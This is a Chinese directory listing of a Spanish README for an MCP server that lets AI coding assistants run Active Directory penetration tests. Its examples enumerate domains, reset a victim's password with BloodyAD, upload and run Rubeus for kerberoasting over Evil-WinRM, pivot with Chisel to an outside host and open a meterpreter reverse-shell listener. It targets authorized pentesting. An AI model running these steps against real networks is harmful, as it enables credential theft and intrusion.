AD渗透测试协调器

一个专业的Active Directory渗透测试协调工具,集成多种安全工具,支持多平台和完整的安全测试流程。

  • by MauricioDuarte100
  • Python
  • 本地部署
  • 更新于
在 GitHub 查看 MauricioDuarte100/ActiveDirectoryPentestingMCP

使用说明

🚀 AD Pentesting Orchestrator MCP

Professional Active Directory Penetration Testing Orchestrator con integración completa de herramientas de seguridad a través del Model Context Protocol (MCP).

✨ Características

  • 🔧 Integración Real: NetExec, BloodHound, BloodyAD, Impacket
  • 🎯 Servidor MCP: Compatible con Cursor, Claude, VS Code, Gemini CLI
  • 🔍 Enumeración Completa: Usuarios, grupos, computadoras, políticas, ACLs
  • 📊 Análisis BloodHound: Rutas de ataque, Kerberoasting, ACL abuse
  • ⚔️ Explotación Controlada: Dry-run por defecto, seguro para testing
  • 🖥️ CLI Integrado: Interfaz de línea de comandos completa
  • 📝 Logging Profesional: Logs estructurados con timestamps
  • 🌐 Multiplataforma: Windows, Linux, macOS
  • 🎮 Gestión de Sesiones: Múltiples terminales simultáneas (Evil-WinRM, Chisel, Listeners)
  • 🔄 Pivoting Automático: Configuración de túneles y proxies
  • 📤 Upload/Download: Transferencia de archivos a sesiones remotas

📋 Requisitos

  • Python 3.10 o superior
  • NetExec/CrackMapExec (opcional pero recomendado)
  • BloodHound + Neo4j (opcional para análisis avanzado)
  • BloodyAD (opcional para explotación)
  • Impacket (para ataques Kerberos)

📁 Estructura del Proyecto

ActiveDirectoryPentestingMCP/
├── src/                    # Código fuente modular
│   ├── core/              # Módulos core (SessionManager)
│   ├── integrations/      # Integraciones (Impacket, Kerberos, Tools)
│   └── utils/             # Utilidades
├── docs/                  # Documentación organizada
│   ├── guides/           # Guías detalladas
│   └── summaries/        # Resúmenes y reportes
├── examples/             # Ejemplos de uso
├── tests/                # Tests
└── ad_orchestrator_pro.py # Servidor MCP principal

Ver PROJECT_STRUCTURE.md para detalles completos.

🚀 Instalación Rápida

Opción 1: Instalación con pip (Recomendado)

# Clonar repositorio
git clone https://github.com/yourusername/ad-orchestrator-mcp.git
cd ad-orchestrator-mcp

# Instalar
pip install -e .

# O instalar desde PyPI (cuando esté publicado)
pip install ad-orchestrator-mcp

Opción 2: Instalación manual

# Instalar dependencias
pip install -r requirements.txt

# Copiar configuración
cp .env.example .env
cp config.json config.json

# Editar .env con tus credenciales
nano .env

Opción 3: Instalación automática en IDEs

Windows (PowerShell):

.\install.ps1 -IDE all

Linux/macOS:

chmod +x install.sh
./install.sh all

validate_environment()

Enumerar dominio completo

enumerate_domain( domain="CONTOSO.COM", dc_ip="192.168.1.10", username="administrator", password="Password123!" )

Analizar con BloodHound

analyze_bloodhound_paths( domain="CONTOSO.COM" )

Verificar credenciales

check_credentials( target="192.168.1.10", domain="CONTOSO.COM", username="testuser", password="testpass" )

Explotar con BloodyAD (DRY RUN)

exploit_with_bloodyad( domain="CONTOSO.COM", dc_ip="192.168.1.10", operator_user="admin", operator_password="pass", target_user="victim", action="set_password", new_password="NewPass123!", dry_run=True # Simulación segura )


### Gestión de Sesiones Múltiples (NUEVO)

```python
# Crear sesión Evil-WinRM en terminal separada
session = create_session(
    session_type="evil-winrm",
    target="192.168.1.100",
    port=5985,
    username="administrator",
    password="Password123!"
)

# Subir Rubeus.exe
upload_file_to_session(
    session_id="evil-winrm_1",
    local_path="tools/Rubeus.exe",
    remote_path="C:\\Windows\\Temp\\Rubeus.exe"
)

# Ejecutar Rubeus
execute_in_session(
    session_id="evil-winrm_1",
    command="C:\\Windows\\Temp\\Rubeus.exe kerberoast"
)

# Configurar pivoting completo (Evil-WinRM + Chisel)
pivoting = setup_pivoting_workflow(
    target="192.168.1.100",
    username="administrator",
    password="Password123!",
    chisel_server="10.10.14.5",
    chisel_port=8080
)

# Configurar listener para reverse shell
listener = setup_reverse_shell_listener(
    lhost="10.10.14.5",
    lport=4444,
    payload_type="windows/meterpreter/reverse_tcp"
)

# Listar sesiones activas
sessions = list_active_sessions()

⚙️ Configuración

Variables de Entorno (.env)

# BloodHound
BH_URI=bolt://localhost:7687
BH_USER=neo4j
BH_PASSWORD=bloodhoundcommunityedition

# Logging
LOG_LEVEL=DEBUG

# Security
DRY_RUN=true
LOG_PASSWORDS=false

Archivo de Configuración (config.json)

{
  "bloodhound": {
    "uri": "bolt://localhost:7687",
    "user": "neo4j",
    "password": "bloodhoundcommunityedition"
  },
  "security": {
    "dry_run_by_default": true,
    "log_passwords": false
  }
}

🔧 Herramientas Integradas

NetExec/CrackMapExec

# Instalar NetExec
pip install netexec

# O CrackMapExec
pip install crackmapexec

BloodHound

# Iniciar Neo4j con Docker
docker run -d \
  -p 7687:7687 -p 7474:7474 \
  --name neo4j \
  -e NEO4J_AUTH=neo4j/bloodhoundcommunityedition \
  neo4j:latest

BloodyAD

pip install bloodyad

📊 Ejemplos de Uso

Ejemplo 1: Enumeración Básica

ad-orchestrator --enumerate \
  --domain CONTOSO.COM \
  --dc 192.168.1.10 \
  -u lowpriv_user \
  -p 'UserPass123'

Ejemplo 2: Análisis Completo con BloodHound

# En tu IDE con MCP
results = analyze_bloodhound_paths(domain="CONTOSO.COM")

# Ver rutas a Domain Admin
print(results["shortest_paths"])

# Ver usuarios Kerberoastable
print(results["kerberoastable_users"])

# Ver oportunidades de ACL abuse
print(results["acl_abuse_opportunities"])

Ejemplo 3: Workflow Completo

# 1. Validar entorno
validate_environment()

# 2. Enumerar dominio
enum_results = enumerate_domain(
    domain="CONTOSO.COM",
    dc_ip="192.168.1.10",
    username="admin",
    password="pass"
)

# 3. Analizar con BloodHound
bh_results = analyze_bloodhound_paths(domain="CONTOSO.COM")

# 4. Verificar credenciales encontradas
check_credentials(
    target="192.168.1.10",
    domain="CONTOSO.COM",
    username="found_user",
    password="found_pass"
)

🔐 Seguridad

⚠️ IMPORTANTE: Esta herramienta está diseñada para pentesting autorizado.

  • Dry-run por defecto: Todas las operaciones de explotación se simulan primero
  • Logging completo: Todas las acciones se registran
  • Sin contraseñas en logs: Las credenciales se redactan automáticamente
  • Validación de entorno: Verifica herramientas antes de ejecutar

Uso Responsable

# ✅ CORRECTO: Dry-run primero
exploit_with_bloodyad(..., dry_run=True)

# ⚠️ CUIDADO: Solo en entornos autorizados
exploit_with_bloodyad(..., dry_run=False)

🧪 Testing

# Instalar dependencias de desarrollo
pip install -e ".[dev]"

# Ejecutar tests
pytest

# Con cobertura
pytest --cov=ad_orchestrator_pro --cov-report=html

# Linting
black ad_orchestrator_pro.py
flake8 ad_orchestrator_pro.py
mypy ad_orchestrator_pro.py

📚 Documentación

🤝 Contribuir

¡Las contribuciones son bienvenidas! Por favor:

  1. Fork el repositorio
  2. Crea una rama para tu feature (git checkout -b feature/AmazingFeature)
  3. Commit tus cambios (git commit -m 'Add AmazingFeature')
  4. Push a la rama (git push origin feature/AmazingFeature)
  5. Abre un Pull Request

Ver CONTRIBUTING.md para más detalles.

📝 Changelog

v2.0.0 (2025-01-14)

  • ✨ Servidor MCP completo con FastMCP
  • ✨ CLI integrado con argparse
  • ✨ Integración real con NetExec, BloodHound, BloodyAD
  • ✨ Validación de entorno automática
  • ✨ Configuración externa (.env, config.json)
  • ✨ Logging profesional a archivo
  • ✨ Setup.py y pyproject.toml para instalación
  • 🐛 Correcciones de bugs críticos
  • 📚 Documentación completa

📄 Licencia

Este proyecto está licenciado bajo la Licencia MIT - ver LICENSE para detalles.

⚠️ Disclaimer

Esta herramienta es solo para pentesting autorizado y investigación de seguridad.

El acceso no autorizado a sistemas informáticos es ilegal. Los autores y contribuidores no son responsables del mal uso o daños causados por este software. Úsalo bajo tu propio riesgo y solo en sistemas para los que tengas permiso explícito de prueba.

🙏 Agradecimientos

📞 Soporte


Hecho con ❤️ por el equipo de seguridad